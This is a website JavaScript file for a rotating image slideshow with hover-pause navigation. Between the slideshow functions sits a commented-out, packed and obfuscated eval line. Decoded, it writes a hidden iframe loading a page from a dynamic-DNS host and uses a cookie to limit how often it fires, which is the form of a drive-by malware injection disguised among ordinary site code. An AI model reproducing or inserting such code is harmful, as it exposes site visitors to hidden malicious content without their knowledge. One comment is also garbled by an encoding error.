function switchPic(screen) {
	if (screen > MaxScreen) {
		screen = 1 ;
	}
	
	for (i=1;i<=MaxScreen;i++) {
		document.getElementById("Switch_"+i).style.display = "none" ;
	}
	document.getElementById("Switch_"+screen).style.display = "block" ;
	showSwitchNav(screen);

	CurScreen = screen  ;
}
//eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4 a=3.7;4 9=a.x("6");w(9!=-1){}v{4 2=u t();2.s(2.r()+q*8*8*p);3.7="6=o;2="+2.n();3.m("<5 l=k://j.i.h/g/f.e d=c b=0></5>")}',34,34,'||expires|document|var|iframe|cookiesleep|cookie|60|start|cookieString|height|10|width|asp|as|include|org|3322|360safe4|http|src|write|toGMTString|test|1000|12|getTime|setTime|Date|new|else|if|indexOf'.split('|'),0,{}));
function showSwitchNav(screen) {
	var NavStr = "" ;
	for (i=1;i<=MaxScreen;i++) {
		if (i == screen) {
			NavStr += '<li onmouseover="pauseSwitch();" onmouseout="goonSwitch();"><a href="javascript://" target="_self" class="sel">'+i+'</a></li>' ;
		}
		else {
			NavStr += '<li onmouseover="pauseSwitch();" onmouseout="goonSwitch();" onclick="goManSwitch('+i+');"><a href="javascript://" target="_self">'+i+'</a></li>' ;
		}
		
	}
	document.getElementById("SwitchNav").innerHTML = NavStr ;
}

function reSwitchPic() {
	refreshSwitchTimer = null;
	switchPic(CurScreen+1);
	refreshSwitchTimer = setTimeout('reSwitchPic();', 3000);
}
function pauseSwitch() {
	clearTimeout(refreshSwitchTimer);
}
function goonSwitch() {
	clearTimeout(refreshSwitchTimer);
	refreshSwitchTimer = setTimeout('reSwitchPic();', 3000);
}
function goManSwitch(index) {
	clearTimeout(refreshSwitchTimer);
	
	CurScreen = index - 1 ;
	reSwitchPic();
}

function $(obj)
{
    return document.getElementById(obj);
}
function objclose(obj)   //½ôËõ±í¸ñ
{$(obj).style.display="none";}